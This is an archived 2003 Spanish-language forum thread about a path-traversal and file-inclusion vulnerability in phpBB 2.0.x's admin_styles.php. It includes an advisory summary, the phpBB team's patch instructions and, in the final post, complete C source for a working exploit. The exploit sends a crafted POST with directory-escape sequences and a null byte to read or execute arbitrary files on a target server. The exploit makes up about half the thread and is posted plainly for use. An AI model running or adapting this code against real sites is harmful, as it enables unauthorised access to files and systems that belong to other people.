PDA

Ver la versión completa : Grave vulnerabilidad en phpBB



<PICCOLO>
25-07-2003, 01:49
phpBB es un paquete de código abierto, altamente configurable, para la creación de portales, basado en los "Bulletin Board" (tablones de noticias), como originalmente se llamaban a los BBS (Bulletin Board System). Hoy día esto ha evolucionado a lo que se conoce como portales o comunidades virtuales. Este software, desarrollado sobre PHP, un lenguaje gratuito que sirve para la programación de scripts del lado del servidor, soporta múltiples bases de datos (MySQL, MSSQL, PostgreSQL, Access/ODBC).


Una vulnerabilidad recientemente anunciada, permite que un intruso pueda modificar el comportamiento de uno de sus scripts administrativos, "/admin/admin_styles.php", cambiando la ruta donde se incluye el archivo de configuración "/theme_info.cfg".

Esto compromete seriamente la seguridad de todo el servidor, ya que las posibles modificaciones a la forma de actuar del archivo administrativo mencionado, son críticas para el funcionamiento de todo el sistema.

Incluso puede forzarse la inclusión o ejecución de otros archivos, al obtener los permisos para ello.

Un "exploit" que se aprovecha de esta falla ya es público en Internet, lo que compromete gravemente la seguridad de todos los portales desarrollados con phpBB, al no existir aún un parche por parte de sus desarrolladores.

Las pruebas indican que en el momento, son vulnerables todas las versiones 2.0.x.

* Exploit:

http://downloads.securityfocus.com/vulnerabilities/exploits/phpbbexp.c

* Referencias:

http://www.securityfocus.com/bid/7932/info/
http://www.phpbb.com/




--- esta es del 23 de junio, igual ya está parcheada

-salu2-

TseTse
25-07-2003, 09:33
Our hearty (non) thanks to the person who released this information without bothering to contact us first (he even boasts about not informing us).

There is a potential vulnerability in admin/admin_styles.php ... while it cannot (directly) lead to damage to your board it may allow people to access other files on the operating system. Therefore you are advised to modify the file as follows:

Find:


//
// Load default header
//
//
// Check if the user has cancled a confirmation message.
//
$phpbb_root_path = "./../";

$confirm = ( isset($HTTP_POST_VARS['confirm']) ) ? TRUE : FALSE;
$cancel = ( isset($HTTP_POST_VARS['cancel']) ) ? TRUE : FALSE;

if (empty($HTTP_POST_VARS['send_file']))
{
$no_page_header = ( $cancel ) ? TRUE : FALSE;
require($phpbb_root_path . 'extension.inc');
require('./pagestart.' . $phpEx);
}

if ($cancel)
{
redirect('admin/' . append_sid("admin_styles.$phpEx", true));

Replace with:


//
// Load default header
//
//
// Check if the user has cancled a confirmation message.
//
$phpbb_root_path = "./../";
require($phpbb_root_path . 'extension.inc');

$confirm = ( isset($HTTP_POST_VARS['confirm']) ) ? TRUE : FALSE;
$cancel = ( isset($HTTP_POST_VARS['cancel']) ) ? TRUE : FALSE;

$no_page_header = (!empty($HTTP_POST_VARS['send_file']) || $cancel) ? TRUE : FALSE;

require('./pagestart.' . $phpEx);

if ($cancel)
{
redirect('admin/' . append_sid("admin_styles.$phpEx", true));
}


TseTse

<PICCOLO>
25-07-2003, 23:00
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main()
{
//The socket stuff
struct hostent *hp;
struct sockaddr_in sa;
int sock;

//The input stuff
char server[100];
char location[100];
char sfile[100];
int escapes;
char* file;

//The request stuff
char* request;
char* postdata;
char* header;

//The buffer to store the response
char buffer[4096];
int tworeturns = 0;
int showing = 0;

//Other
int i;

//Ask the server
printf("Server: ");
scanf("%100s", server);
printf("Forum location: ");
scanf("%100s", location);
printf("Directories to escape: ");
scanf("%i", &escapes);
printf("File to get/execute: ");
scanf("%100s", sfile);


//Start the exploit!
printf("\n\nStarting the exploit...\n");

//Connect to the server
printf("Creating socket... ");
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Failed!\n");
return 0;
} else{
printf("Done!\n");
}


printf("Looking up server IP... ");
if((hp = gethostbyname((char*)server)) == NULL)
{
printf("Failed!\n");
return 0;
} else {
printf("Done!\n");
}


printf("Connecting %s:80... ", server);
memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
sa.sin_family = AF_INET;
sa.sin_port = htons(80);
if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
{
printf("Failed!\n");
return 0;
} else {
printf("Done!\n");
}


//Create the request
printf("Building request... ");

//Create the postdata
file = (char*)malloc(sizeof(char) * (escapes * 3 +
strlen(sfile) + 1));

while(escapes > 0)
{
if(escapes == 1)
{
sprintf(file, "%s%s%s", file, "..", sfile);
} else {
sprintf(file, "%s%s", file, "../");
}

escapes --;
}

postdata = (char*)malloc((27 + strlen(file)) *
sizeof(char));
sprintf(postdata, "send_file= &install_to=%s%s00",
file, "%");

header = (char*)malloc((170 + strlen(server) +
strlen(location)) * sizeof(char));
sprintf(header, "POST
/%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type:
application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n",
location, server, strlen(postdata));

request = (char*)malloc((strlen(postdata) +
strlen(header) + 1) * sizeof(char));
sprintf(request, "%s%s", header, postdata);

printf("Done!\n");


//Send the request
printf("Sending request... ");
write(sock, request, strlen(request));
printf("Done!\n");

printf("\nResponse:\n");
//Get the response
while(recv(sock, buffer, 4096, 0) != 0)
{
for(i = 0; i < strlen(buffer); i++)
{
//Only show the character when it should
if(showing == 1)
{
printf("%c", buffer[ i ]);
}


//Stop showing from \n<br>\n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
{
showing = 0;
tworeturns = 0;
}
//Or from \n<br />\n
if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' &&
showing == 1)
{
showing = 0;
tworeturns = 0;
}

//If there's a return and tworeturns = true, start
showing it
if(buffer[ i ] == '\n' && tworeturns == 1)
{
showing = 1;
}

//If there are two returns, set tworeturns to true
and add 3 to i
if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' &&
buffer[i + 2] == '\r' && buffer[i + 3] == '\n')
{
tworeturns = 1;
i += 3;
}
}
}
printf("\n");

return 0;
}